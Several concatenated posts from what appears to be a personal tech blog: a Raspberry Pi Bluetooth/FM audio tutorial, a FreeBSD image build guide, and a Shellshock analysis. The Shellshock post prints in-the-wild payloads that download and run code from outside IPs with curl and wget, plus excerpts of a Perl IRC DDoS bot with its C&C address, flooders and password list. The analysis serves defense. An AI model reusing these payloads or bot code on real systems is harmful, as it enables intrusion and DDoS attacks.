Bluetooth Audio Player using a RaspberryPi

Originally, I had been looking around online for a Bluetooth enabled FM transmitter for use in my car as I no longer have an AUX-IN connector on the radio to connect my iPhone. During my search, I came across some decent ones but they started at around 70$ USD. Given I had an old RPi lying around, I thought it might make for a fun project to see if I could create one for my own.

Note: It turns out, I ran into a number of problems with the audio transmitting at half-speed over FM so I re-purposed the idea to connect directly into my hi-fi stereo in the house which has surround sound so I can stream music from my iPhone, MacBok and iPad. I’ll detail the instructions on how to stream over FM at the end of this post. Give it a try and if you figure out how to resolve the half-speed issue, comment and let me know!

To start, I did some research and found the following blog post which essentially covered everything I needed: http://www.instructables.com/id/Raspberry-Pi-Wireless-Bluetooth-Audio-FM-Radio-Tra/?ALLSTEPS.

Note: The instructions provided here are heavily based on the above reference, including scripts.

Next, I needed to get the equipment:

  • Raspberry Pi (B Model)
  • Bluetooth Dongle
  • AUX Cable

To begin, I installed Rasbian following the instructions on the RaspberryPi Foundation site: https://www.raspberrypi.org/help/noobs-setup/ Once booted into the fresh OS, I made the following changes to get the system up and running:

Firstly, I installed the necessary applications (bluetooth support, pulseaudio and their related dependencies):

$ sudo apt-get update
$ sudo apt-get upgrade
$ sudo apt-get install bluez pulseaudio-module-bluetooth python-gobject python-gobject-2 bluez-tools pulseaudio-utils

Next, I started by configuring bluetooth’s audio service by modifying /etc/bluetooth/audio.conf and adding the following under the [General] tag:

$ sudo nano /etc/bluetooth/audio.conf
[General]:
Enable=Source,Sink,Media,Socket

Then, I modified the bluetooth main configuration file /etc/bluetooth/main.conf to add my own bluetooth device name and Class ID:

Name = pifm
Class = 0x20041C

You’ll also need to modify the configuration of your bluetooth dongle to match the above configuration. I did this by modifying the dongle’s configuration file /var/lib/bluetooth//config and adding the device name and class id:

name pifm
class 0x20041C

At this point, I configured the pulseaudio daemon by modifying the configuration file /etc/pulse/daemon.conf to enable trivial re-sampling and disable idle-time. This was done by adding the following to the bottom of the file:

resample-method = trivial
exit-idle-time = -1

Note: Next, I’m going to demonstrate how to connect your iPhone/bluetooth device manually, and link it to the pulseaudio sink to enable audio playback out via the jack. In the majority of details I found online, they merely provided a script but didn’t disucss what each line did. I’ll provide a break-down of what is necessary and then we’ll pull it togther into a udev script to automate the entire process when the iPhone attempts to pair with the RPi.

To connect your phone, enable bluetooth scanning and start the bluetooth-agent script by running the following command:

sudo hciconfig hci0 piscan
start-stop-daemon -S -x /usr/bin/bluetooth-agent -c pi -b -- 0000

To print out the list of available devices you can use:

sudo hcitool scan

Note: To disable bluetooth scanning run:

susdo hcitool noscan

At this point, you can pair your iPhone with the RPi. If requested, enter in the pin ‘0000’.

At this point, we’ll need to initialise the audiopulse server. By default, an audiopulse instance is created on a per-user login basis. There is support for system-wide mode, but I couldn’t get this to work correctly. In order to get around this, we’ll need to set auto-login on ttyp1 for user pi. This way, we can control audiopulse using sudo -u pi in the future.

Let’s first add the user ‘pi’ to the audio group to ensure it can use pulseaudio’s services:

sudo usermod -Ga pulse-access pi

Next, we’ll need to modify /etc/inittab to enable auto-login for user ‘pi’. This will allow us to access the pulse-audio service when running the RPi headless later.

Comment out the following line:

1:2345:respawn:/sbin/getty --noclear 38400 tty1

Add this line directly below:

1:2345:respawn:/bin/login -f pi tty1 </dev/tty1 >/dev/tty1 2>&1

At this point, reboot the device.

sudo reboot

Once the system is back up, re-pair your phone to the RPi. We can now interact with the pulseaudio server and list any sinks (audio-output devices) and source devices (the iPhone conneced over bluetooth) that are available to us:

sudo -u pi pactl list sinks short
0   alsa_output.0.analog-stereo module-alsa-card.c  s16le 2ch 44100Hz   IDLE
sudo -u pi pactl list sources short
0   alsa_output.0.analog-stereo.monitor module-alsa-card.c  s16le 2ch 44100Hz   IDLE
1   bluez_source.D4_F4_6F_B1_1F_FF  module-bluetooth-device.c   s16le 2ch 44100Hz   RUNNING

To connect the sink to the source, you can run the following command:

sudo -u pi pactl load-module module-loopback source=bluez_source.D4_F4_6F_B1_1F_FF sink=aalsa_output.0.analog-stereo

Connect up some speakers via the 3.5 mm jack, and play a song on the iPhone. I tested this using Spotify and it worked like a charm. If the audio doesn’t play right-away, you can set the output to the 3.5 mm jack using the following command:

sudo -u pi amixer cset numid=3 1

The volume can also be increased (below, I’ve increased it to 125%) using the following commands. Note, 0 denotes the channel number (e.g. alsa_output.0.analog-stereo) as seen when running pactl list sinks short:

sudo -u pi amixer set Master 100%
sudo -u pi pacmd set-sink-volume 0 0x12500

Automation is the key!

Once all tested successfully, our next step is to automate this entire process when the device pairs with the RPi. This can be achieved using a udev script.

You’ll want to create a udev rule to auto-execute your custom script(s) when the bluetooth dongle is detected/inserted. This can be be by adding the following line to /etc/udev/rules.d/99-input.rules. We’ll create the bluetooth script afterwards:**

KERNEL=="input[0-9]*", RUN+="/usr/lib/udev/bluetooth"

Next, we’ll create the following scripts which combines what we’ve used above to automate everything.

Firstly, let’s start with the bluetooth-agent script. Add this to /etc/init.d/bluetooth-agent:

#!/bin/sh
#/etc/init.d/bluetooth-agent
### BEGIN INIT INFO
# Provides: bluetooth-agent
# Required-Start: $remote_fs $syslog bluetooth pulseaudio
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Makes Bluetooth discoverable and connectable to 0000
# Description: Start Bluetooth-Agent at boot time.
### END INIT INFO
USER=root
HOME=/root
export USER HOME
case "$1" in
start)
echo "initializing pulseaudio"
sudo pactl info
echo "setting bluetooth discoverable"
sudo hciconfig hci0 piscan
start-stop-daemon -S -x /usr/bin/bluetooth-agent -c pi -b -- 0000
echo "bluetooth-agent started pw: 0000"
sudo /usr/lib/udev/bluetooth-auto &
echo "bluetooth-auto-discovery started"
;;
stop)
echo "Stopping bluetooth-agent"
start-stop-daemon -K -x /usr/bin/bluetooth-agent
;;
*)
echo "Usage: /etc/init.d/bluetooth-agent {start|stop}"
exit 1
;;
esac
exit 0

Save the file and change set the appropriate permissions using the following command:

sudo chmod 774 /etc/init.d/bluetooth-agent

Next, We’ll set up the bluetooth udev scripts.

Firstly, create the udev directory and some of the files we’ll need

sudo mkdir -p /usr/lib/udev
sudo touch /usr/lib/udev/bluetooth-trust
sudo touch /var/log/bluetooth_dev

Next, add the following script to /usr/lib/udev/bluetooth:

Note: You can change the $AUDIOSINK variable to your specified device. You can retrieve the list of available devices by running sudo -u pi pactl list sinks short.

#!/bin/bash

AUDIOSINK="alsa_output.0.analog-stereo"
ACTION=$(expr "$ACTION" : "\([a-zA-Z]\+\).*")

echo "Executing bluetooth script...|$ACTION|" >> /var/log/bluetooth_dev

if [ "$ACTION" = "add" ]
then
# Turn off BT discover mode before connecting existing BT device to audio
hciconfig hci0 noscan
# Turn off BT auto connect if it is still running
sudo killall bluetooth-auto

# set the audio output to the hdmi
amixer cset numid=3 2
# Set volume level to 100 percent
amixer set Master 100%
# Set sink volume to 125%
pacmd set-sink-volume 0 0x12500

for dev in $(find /sys/devices/virtual/input/ -name input*)
do
if [ -f "$dev/name" ]
then

mac=$(cat "$dev/name")
# Add this mac address to list of trusted addresses
TRUST=$(grep "$mac" /usr/lib/udev/bluetooth-trust)
if [ -z "$TRUST" ]
then
echo "Adding $mac to trusted addresses" >> /var/log/bluetooth_dev
echo $mac >> /usr/lib/udev/bluetooth-trust
fi

mac_underscore=$(cat "$dev/name" | sed 's/:/_/g')
bluez_dev=bluez_source.$mac_underscore

# Set source volume to 125%
pacmd set-source-volume $bluez_dev 0x12500

sleep 1
CONFIRM=`sudo -u pi pactl list short | grep $bluez_dev`
if [ ! -z "$CONFIRM" ]
then
echo "Setting bluez_source to: $bluez_dev" >> /var/log/bluetooth_dev
echo pactl load-module module-loopback source=$bluez_dev sink=$AUDIOSINK rate=44100 adjust_time=0 >> /var/log/bluetooth_dev
sudo -u pi pactl load-module module-loopback source=$bluez_dev sink=$AUDIOSINK rate=44100 adjust_time=0 >> /var/log/bluetooth_dev
fi
fi
done
fi

if [ "$ACTION" = "remove" ]
then
# Turn on bluetooth discovery if device disconnects
sudo hciconfig hci0 piscan
# Turn on bluetooth auto discovery
sudo /usr/lib/udev/bluetooth-auto &
fi

Next, create the bluetooth auto discovery script by adding the following to /usr/lib/udev/bluetooth-auto:

#!/bin/bash
while [ true ]
do
sleep 1
echo "Scanning for trusted devices" >> /var/log/bluetooth_dev
for mac in $(sudo hcitool scan | grep ":" | awk '{print $1}')
do
trust=$(grep "$mac" /usr/lib/udev/bluetooth-trust)
if [ ! -z "$trust" ]
then
_BT_ADAPTER=`dbus-send --system --print-reply --dest=org.bluez / org.bluez.Manager.DefaultAdapter|awk '/object path/ {print $3}'`
BT_ADAPTER=${_BT_ADAPTER//\"/}
mac_underscore=$(echo "$mac" | sed 's/:/_/g')
echo "Connecting to device at: $mac" >> /var/log/bluetooth_dev
sudo dbus-send --print-reply --system --dest=org.bluez $BT_ADAPTER/dev_$mac_underscore org.bluez.AudioSource.Connect >> /var/log/bluetooth_dev
exit 0
fi
done
done

Finally, grant the appropiate permissions to these script files by issuing the following commands:

sudo chmod 774 /usr/lib/udev/bluetooth
sudo chmod 774 /usr/lib/udev/bluetooth-auto

At this point, you can restart your pi and and pair the device to play music.

Streaming the audio over FM

Firstly, you'll need to enable HDMI audio output. You can do this by using executing sudo raspi-config at the command line and following the on-screen <a href="https://www.raspberrypi.org/documentation/configuration/raspi-config.md&quot; title="instructions">instructions</a> or make the following changes to /boot/config.txt and reboot:

Uncomment the following files to /boot/config.txt:

hdmi_force_hotplug=1
hdmi_drive=2

Next, reboot the RPi.

At this stage, you'll need to download the <a title="RPi FM Transmitting Software" href="http://www.icrobotics.co.uk/wiki/index.php/Turning_the_Raspberry_Pi_Into_an_FM_Transmitter">FM transmitter Software</a>. You can do this by following these steps:

sudo apt-get install sox libsox-fmt-all
cd ~ && mkdir -p fm && cd fm
wget http://www.icrobotics.co.uk/wiki/images/c/c3/Pifm.tar.gz
tar -zxvf Pifm.tar.gz

You can test the software by running the following. You will need to either connect a basic wire to act as an antenna to GPIO4 (pin 7) or just place the pi on top of a radio. Test the Pifm script by executing the following:

cd ~/fm && sudo ./pifm sound.wav 87.7

You can also test streaming an mp3 using the following (you'll need ffmpeg installed):

ffmpeg -i input.mp3 -f s16le -ar 22.05k -ac 1 - | sudo ./pifm -

At this stage, you'll need to modify the /usr/lib/udev/bluetooth script and replace it with the following:

#!/bin/bash

AUDIOSINK="alsa_output.0.analog-stereo"
ACTION=$(expr "$ACTION" : "\([a-zA-Z]\+\).*")

echo "Executing bluetooth script...|$ACTION|" >> /var/log/bluetooth_dev

if [ "$ACTION" = "add" ]
then
# Turn off BT discover mode before connecting existing BT device to audio
hciconfig hci0 noscan
# Turn off BT auto connect if it is still running
sudo killall bluetooth-auto

# set the audio output to the hdmi
amixer cset numid=3 2
# Set volume level to 100 percent
amixer set Master 100%
# Set sink volume to 125%
pacmd set-sink-volume 0 0x12500

for dev in $(find /sys/devices/virtual/input/ -name input*)
do
if [ -f "$dev/name" ]
then

mac=$(cat "$dev/name")
# Add this mac address to list of trusted addresses
TRUST=$(grep "$mac" /usr/lib/udev/bluetooth-trust)
if [ -z "$TRUST" ]
then
echo "Adding $mac to trusted addresses" >> /var/log/bluetooth_dev
echo $mac >> /usr/lib/udev/bluetooth-trust
fi

mac_underscore=$(cat "$dev/name" | sed 's/:/_/g')
bluez_dev=bluez_source.$mac_underscore

# Set source volume to 125%
pacmd set-source-volume $bluez_dev 0x12500

sleep 1
CONFIRM=`sudo -u pi pactl list short | grep $bluez_dev`
if [ ! -z "$CONFIRM" ]
then
echo "Setting bluez_source to: $bluez_dev" >> /var/log/bluetooth_dev
echo pactl load-module module-loopback source=$bluez_dev sink=$AUDIOSINK rate=44100 adjust_time=0 >> /var/log/bluetooth_dev
sudo -u pi pactl load-module module-loopback source=$bluez_dev sink=$AUDIOSINK rate=44100 adjust_time=0 >> /var/log/bluetooth_dev
echo "Killing any existing radio connections" >> /var/log/bluetooth_dev
sudo killall pifm >> /var/log/bluetooth_dev
echo "Connecting bluetooth output to radio input, playing on 87.7" >> /var/log/bluetooth_dev
# Using $AUDIOSINK instead of 0 here doesn't seem to work, not sure why
echo pacat -r -d 0 --latency-msec=50 | sox -t raw -r 44100 -e signed-integer -b 16 -c 2 - -t wav - gain -l 10 | sudo /home/pi/fm/pifm - 87.7 44100 stereo >> /var/log/bluetooth_dev
sudo -u pi pacat -r -d 0 --latency-msec=50 | sudo -u pi sox -t raw -r 44100 -e signed-integer -b 16 -c 2 - -t wav - gain -l 10 | sudo /home/pi/fm/pifm - 87.7 44100 stereo >> /var/log/bluetooth_dev
fi
fi
done
fi

if [ "$ACTION" = "remove" ]
then
# Turn on bluetooth discovery if device disconnects
sudo hciconfig hci0 piscan
# Turn on bluetooth auto discovery
sudo /usr/lib/udev/bluetooth-auto &
fi

Note: You'll notice above, I attempted to stream over FM using sox to convert the signal. I've also tried ffmpeg as described earlier but both methods resulted in audio that was playing at roughly half-speed. I've attempted playing around with the frequency (changing from 44.1Hz to 44.8Hz above and below with no joy. IF you figure it out, do let me know.

Next, replace the /etc/init.d/bluetooth-agent script with the following. Note the additional lines to enable pifm at the bottom of the start case.

#!/bin/sh
#/etc/init.d/bluetooth-agent
### BEGIN INIT INFO
# Provides: bluetooth-agent
# Required-Start: $remote_fs $syslog bluetooth pulseaudio
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Makes Bluetooth discoverable and connectable to 0000
# Description: Start Bluetooth-Agent at boot time.
### END INIT INFO
USER=root
HOME=/root
export USER HOME
case "$1" in
start)
echo "initializing pulseaudio"
sudo pactl info
echo "setting bluetooth discoverable"
sudo hciconfig hci0 piscan
start-stop-daemon -S -x /usr/bin/bluetooth-agent -c pi -b -- 0000
echo "bluetooth-agent started pw: 0000"
sudo /usr/lib/udev/bluetooth-auto &
echo "bluetooth-auto-discovery started"
sudo /home/pi/fm/pifm /home/pi/fm/silence 87.7 44100 stereo
echo "pifm started at 87.7, playing silence"
;;
stop)
echo "Stopping bluetooth-agent"
start-stop-daemon -K -x /usr/bin/bluetooth-agent
;;
*)
echo "Usage: /etc/init.d/bluetooth-agent {start|stop}"
exit 1
;;
esac
exit 0

Set a static IP address

As my RPi won't be connected wirelessly to any network and it wasn't positioned physically close enough to the router to run a cable, I wanted to set a static IP so I could connect up an Ethernet cable and login over SSH if necessary.

To do this, I simply modified /etc/network/interfaces and made the following changes for eth0. Replace the eth0 auto line with the following:

iface eth0 inet static
address 192.168.1.100
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.254

You can reboot the RPi and connect up a cable directly. Don't forget to set your own machines network interface to some IP in the same range (e.g. 192.168.1.10).

Read only SD – stop disk corruption

To ensure that the disk wouldn't become corrupted when switching off the power, I attempted to make the root drive read-only. I also created a tmpfs partition for /tmp (around 30MB) in size as some processes need to write files to /tmp to operate correctly. To do this, I made the following changes to the /etc/fstab file:

/dev/mmcblk0p2  /               ext4    defaults,noatime,ro  0       1
tmpfs           /tmp            tmpfs   defaults,size=30M    0       0

If you do need to make a change to a file, you cna remount the / partition as write, make your necessary changes and reboot:

sudo mount / -o remount,rw

Note: This didn’t work with the audiopulse server. While I was able to connect my bluetooth device successfully, it failed to send the audio correctly. I’m still playing see if I can enable some sort of fuax-write for specific services such as audiopulse in /tmp.

Shellshock: Description and payload(s) spotted in the wild (ITW)

Update [26-09-2014] If I get some time over the weekend, I’ll provide a follow up post with a full analysis of the ELF binary. Already, I’ve seen additional requests to my box (and public reports) of PE binaries being downloaded as final payloads. Additionally, reports have also surfaced of a botnet dubbed “Wopbot” which is being used to target the US DoD spreading via shellshock.

Just two days ago, September 24, Stephane Chazelas discovered a bash vulnerability – CVE-2014-6271 – which he disclosed on seclists (http://seclists.org/oss-sec/2014/q3/649). In his post, he briefly describes a bug he identified in the way environment variables through server side scripts are handled e.g. CGI, Python, perl etc that can lead to arbitrary code execution. In addition, other network services are also potential vectors for this attack; ssh, dhclient, sudo, firefox, postfix etc all of which can lead to arbitrary command execution on a remote server.

Update [26-09-2014]: The original patch released for CVE-2014-6271 was incomplete. Tavis posted a work-around on twitter:

This was allocated CVE-2014-7169 and has since been patched. Don’t forget to update again, people!

Please see this StackExchange post for a good explanation on the vulnerable code in bash.

Are you vulnerable?

Interestingly enough, this bug affects bash versions up to 4.2 (that’s 25 years this vulnerability has existed).

To test if you’re vulnerable, open a terminal and execute the following command:

CVE-2014-6271

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

or

CVE-2014-7169

$ env X='() { (a)=>\' sh -c "echo date"; cat echo

In the above example for CVE-2014-6271 , an environment variable ‘x’ is created with a minimalist function ‘{:;}’. Due to the bug in bash, it proceeds to execute code following after the function. Executing this on a vulnerable version of bash will result in the following:


vulnerable
this is a test

If you execute the same command on a version of bash which has been patched, you should see the following error:


$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test

In a similar fashion, the PoC for CVE-2014-7169 should print the date if vulnerable.

Update Bash

In order to mitigate this issue, update bash ASAP. This can be done through your standard distro package management tools such as apt-get, yum etc.


$ sudo apt-get update bash

or


$ sudo yum update bash

Attacks ITW

Already, I’ve begun to receive requests to some of my boxes attempting to exploit this vulnerability.


80 209.126.230.72 - - [24/Sep/2014:23:40:04 +0200] "GET / HTTP/1.0" 200 324 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
80 209.126.230.72 - - [25/Sep/2014:09:27:53 +0200] "GET / HTTP/1.0" 200 324 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
80 213.5.67.223 - - [25/Sep/2014:15:44:44 +0200] "GET /cgi-bin/his HTTP/1.0" 404 491 "-" "() { :;}; /bin/bash -c \"cd /tmp;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\""

In the above, the first two log entries are from a internet wide scan being conducted by Erratasec who is currently scanning every IP in IPv4 to get an idea of how many vulnerable services are out there. Obviously, other malicious attackers are performing the same scan. The last entry in the above is the most interesting. We can see an actual attempt to exploit this vulnerability in order to download a file called ‘jur’.


/bin/bash -c \"cd /tmp;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\""

Jur Binary

Downloading the binary we have the following file:


$ md5sum jur
0763b8c00d6862d2d0f8f980de065857 jur
$ file jur
jur; a /usr/bin/perl script text executable

The file itself is a perl script which acts as an IRC bot used to perform DDoS attacks. The bot joins ‘185.31.209.84:443’ using a random nick name.


my @adms=("JB","x");
my @hostauth=("fuckoff","localhost");
my @canais=("#new");
chop (my $realname = 'vn');
$servidor='185.31.209.84' unless $servidor;
my $porta='443';
..
#$servidor="$ARGV[0]" if $ARGV[0];

Next, it connects to the IRC server:


$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
sendraw("PASS swedenrocks");

It joins a key protected channel #new using the key ‘ddosit’ as per the following:


sendraw("JOIN $canal ddosit");

Port Scanning:


if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my
@portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
my (@aberta, %porta_banner);
sendraw($IRC_cur_socket, "PRIVMSG $printl :02[SCAN]02 Scanning ".$1." for open ports.");
..
if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :02[SCAN]02 Open port(s): @aberta");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :02[SCAN]02 No open ports found");
}

  • DDoS Attacks
  • TCP FLooder


sendraw($IRC_cur_socket, "PRIVMSG $printl :02[TCP]02 Attacking ".$1.":".$2." for ".$3." seconds.");
..
&tcpflooder("$1","$2","$3");
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :02[TCP]02 Attack done ".$1.":".$2.".");
}

In a similar fashion to the TCP Flooder above it also performs DDoS using HTTP and UDP.

Scans for unpatched INDEXU:


sendraw($IRC_cur_socket, "PRIVMSG $printl :02[GOOGLE]02 Scanning for unpatched INDEXU for ".$1."
seconds.");
..
foreach $url (@urls) {
$cur_time = time - $itime;
my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
$url =$path."/SQuery/lib/gore.php?libpath=$boturl?";
$page = http_query($url);
$exploited = $exploited + 1;
..
sendraw($IRC_cur_socket, "PRIVMSG $printl :02[GOOGLE]02 Exploited ".$exploited." boxes in ".$1."

It also has teh ability to run arbitary commands by the attacker and print results to the IRC channel.


my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");

Spreader

Finally, it includes a spreading mechanism by searching Google:


foreach $dom (@dominios)
{
push (@str,"%22inurl%3Amodules.php%3Fname%3DSQuery%22+site%3A".$dom."%20");
}

Ngnix Binary

There has also been reports of the following exploit attempts identified ITW:


:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh

The above binary was retrievable:


$ md5sum nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$ file ngnix
nginx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.18, stripped

Quick Notes

Looking a the sample quickly, we have the following:

Embedded IPs


108.162.197.26
89.238.150.154:5

The first IP is assoicated with Cloudflare and has since been neutralised. It is believed this was used to obtain the IP of the infected machine. The second is the hard-coded C&C. In my testing the C&C is no longer responding. However, I did stumble across some additional information about this binary whereby someone managed to capture traffic when it was live:

https://news.ycombinator.com/item?id=8366088


sent >>> BUILD X86
recv >>> !* HTTP
recv >>> 190.93.240.15,190.93.241.15,141.101.112.16,190.93.243.15,190.93.242.15 pastebin.com /4HQ2w4AZ 80 2 recv >>> PING sent >>> PONG

Looking at the binary itself we can see it tests the machine it has gotten access to. This may done to identify honeypot type machines, or to identify if the machine itself is a router using busybox:


/bin/busybox;echo -e '\147\141\171\146\147\164'

Standard shell interperters won’t convert the octal to ascii. However, busybox does:


$ echo -e '\147\141\171\146\147\164'
\147\141\171\146\147\164
$ busybox echo -e '\147\141\171\146\147\164'
gayfgt

The commands supported by the bot are as follows:


PING
PONG!
GETLOCALIP
SCANNER
ON
HOLD - DDoS - Hold Flooding
JUNK - DDoS - Junk Flooding
UDP - DDoS - UDP Flooding
TCP - DDoS - TCP FLooding
KILLATTK
LOLNOGTFO
DUP
SH

It also conbtains the following password list for simple brute-force:


.rodata:080AD157 00000005 C root
.rodata:080AD15F 00000006 C admin
.rodata:080AD166 00000005 C user
.rodata:080AD16C 00000006 C login
.rodata:080AD173 00000006 C guest
.rodata:080AD17A 00000005 C toor
.rodata:080AD180 00000009 C changeme
.rodata:080AD18A 00000005 C 1234
.rodata:080AD190 00000006 C 12345
.rodata:080AD197 00000007 C 123456
.rodata:080AD19F 00000008 C default
.rodata:080AD1A8 00000005 C pass
.rodata:080AD1AE 00000009 C password

This is a similar IRC bot to the Perl script identified above.

Additional Info:

This ELF sample has been floating around since at least March:

http://pastebin.com/xa87Gh7q

At that time, it used the following C&C:

162.219.57.16:2000

Building a custom FreeBSD image for the RaspberryPi from source

All I ever wanted
All I ever needed
Is here in my ARMs
Words are very unnecessary
They can only do harm

Recently I posted about Building a custom FreeBSD image for a RaspberryPi. In that post, I detailed how to download the official ARMV6 builds of FreeBSD and make the required changes before writing to an SD card that would boot in an RPi. In this post, I’m going to provide details on how to build a custom image using FreeBSD’s source code which allows the user the flexibility of modifying the kernel before hand instead of using the GENERIC kernel config.

For this, I’ll be using FreeBSD 10-STABLE in a VirtualBox VM on my MBP to build the image. Firstly, we’ll need to grab a copy of -head. We can store this in /usr/src/FreeBSD not to overwrite any custom changes to your existing source. We can do this using svn. If you do not have subversion installed, start at step 1, otherwise, skip to 2.

1. Install Subversion and download -head


# cd /usr/ports/deve/subversion && make install && make install clean
# svn co svn://svn.freebsd.org/base/head /usr/src/FreeBSD
# ln -s /usr/src /src

This may take a while depending on the speed of your connection. Once complete, you’ll be ready to rock.

2. Customise the Kernel


cd /src/sys/amd64/conf
sudo cp GENERIC RPI-B

At this point, you can open up RPI-B in your favourite editor and proceed to make any modifications you wish. Be sure to read the comments within the file and ensure you do not remove support for anything required. This is how you can easily be left with a kernel which doesn’t boot. When in doubt, refer to the FreeBSD Handbook!

3. Build and Install the Custom Kernel

Firstly, let’s create the directories we’ll be using:

# cd /usr/src/FreeBSD
# mkdir -p /mnt/rpi
# mkdir -p /src/FreeBSD/obj

Next, let’s set some of the environment variables we’ll require:

Originally, I had started writing up the steps required to build the source manually but then I came across the following ARMV6 build script which simplifies the entire build process. Grab the following script, add execution permissions and build away!


#!/bin/sh
set -e

# Change this
export GPU_MEM=128
export PI_USER=pi
export PI_USER_PASSWORD=raspberry
export SRCROOT=/src/FreeBSD/head
export MNTDIR=/mnt
export MAKEOBJDIRPREFIX=/src/FreeBSD/obj
export IMG=/src/FreeBSD/obj/bsd-pi.img

export TARGET_ARCH=armv6
export MAKESYSPATH=$SRCROOT/share/mk
export KERNCONF=RPI-B

if [ -z "$MNTDIR" ]; then
echo "MNTDIR is not set properly"
exit 1
fi

KERNEL=`realpath $MAKEOBJDIRPREFIX`/arm.armv6/`realpath $SRCROOT`/sys/$KERNCONF/kernel
UBLDR=`realpath $MAKEOBJDIRPREFIX`/arm.armv6/`realpath $SRCROOT`/sys/boot/arm/uboot/ubldr
DTB=`realpath $MAKEOBJDIRPREFIX`/arm.armv6/`realpath $SRCROOT`/sys/$KERNCONF/rpi.dtb

make -C $SRCROOT kernel-toolchain
make -C $SRCROOT KERNCONF=$KERNCONF WITH_FDT=yes buildkernel
make -C $SRCROOT MALLOC_PRODUCTION=yes buildworld

buildenv=`make -C $SRCROOT buildenvvars`

eval $buildenv make -C $SRCROOT/sys/boot clean
eval $buildenv make -C $SRCROOT/sys/boot obj
eval $buildenv make -C $SRCROOT/sys/boot UBLDR_LOADADDR=0x2000000 all

rm -f $IMG
dd if=/dev/zero of=$IMG bs=128M count=8
MDFILE=`mdconfig -a -f $IMG`
gpart create -s MBR ${MDFILE}

# Boot partition
gpart add -s 32m -t '!12' ${MDFILE}
gpart set -a active -i 1 ${MDFILE}
newfs_msdos -L boot -F 16 /dev/${MDFILE}s1
mount_msdosfs /dev/${MDFILE}s1 $MNTDIR
fetch -q -o - http://people.freebsd.org/~gonzo/arm/rpi/freebsd-uboot-20130201.tar.gz | tar -x -v -z -C $MNTDIR -f -

cat >> $MNTDIR/config.txt < $MNTDIR/boot/loader.rc

echo '/dev/mmcsd0s2a / ufs rw,noatime 1 1' > $MNTDIR/etc/fstab

cat > $MNTDIR/etc/rc.conf < $MNTDIR/etc/ttys <<__EOTTYS__
ttyv0 "/usr/libexec/getty Pc" xterm on secure
ttyv1 "/usr/libexec/getty Pc" xterm on secure
ttyv2 "/usr/libexec/getty Pc" xterm on secure
ttyv3 "/usr/libexec/getty Pc" xterm on secure
ttyv4 "/usr/libexec/getty Pc" xterm on secure
ttyv5 "/usr/libexec/getty Pc" xterm on secure
ttyv6 "/usr/libexec/getty Pc" xterm on secure
ttyu0 "/usr/libexec/getty 3wire.115200" dialup on secure
__EOTTYS__

echo $PI_USER_PASSWORD | pw -V $MNTDIR/etc useradd -h 0 -n $PI_USER -c "Raspberry Pi User" -s /bin/csh -m
pw -V $MNTDIR/etc groupmod wheel -m $PI_USER
PI_USER_UID=`pw -V $MNTDIR/etc usershow $PI_USER | cut -f 3 -d :`
PI_USER_GID=`pw -V $MNTDIR/etc usershow $PI_USER | cut -f 4 -d :`
mkdir -p $MNTDIR/home/$PI_USER
chown $PI_USER_UID:$PI_USER_GID $MNTDIR/home/$PI_USER

umount $MNTDIR
mdconfig -d -u $MDFILE

4. Write the image to your SD card

For this, I merely transferred the image to my Macbook and used DD to write it to my SD card. Alternitively, if you’d prefer to write the image directly from the VM, I posted instructions on how to do this last week.

When you firstly insert the disk into the SD card reader, OSX will automatically attempt to mount any partitions it recognises. In our case, it mounts the FAT32 partition. To ensure a write is successful, you’ll need to unmount this. You can either do this in Terminal.app or use DiskUtility to unmount the drive without ejecting it. To write the image to the SD card, perform the following:

osx# dd if=/Users/alan/rpi.img of=/dev/disk4 bs=1m

This will take a few minutes to successfully write. Once complete, eject the SD card and insert it into your RPi and boot. Ensue you have HDMI connected to see any error messages which may be displayed during the boot up process.

IDS/IPS Evasion Techniques (Slides)

Every year, DCU’s Redbrick Society (aka their Networking Society) runs an event called TechWeek. This is an event whereby they invite DCU students, society members and industry professionals to attend and speak in a series of lectures related to various aspects of computing. The aim is to expose students to new things and give them a chance to see how industry operate, as well as give them the opportunity to talk to some of the more larger players and get a feel for what’s on offer post-graduation.

Thus far, I’ve spoken at this event twice where I’ve presented on topics like IDS/IPS evasion techniques back in 2012 and again more recently on threats surrounding e-crime, cyber-espionage and cyber-war.

I recently stumbled across the slides from my 2012 talk which I thought I’d share. Enjoy!

idsips_evasion

ProTip: Add colour highlighting to Bash

Unlike Linux, bash on FreeBSD doesn’t automatically highlight directories, binary-files etc with specific colours. I find this quite handy, especially when you quickly want to identify permissions on files.

To enable this, you can add a few lines to your ~/.profile file to have this.

Firstly, install bash. This can be done from ports by issuing the following command:

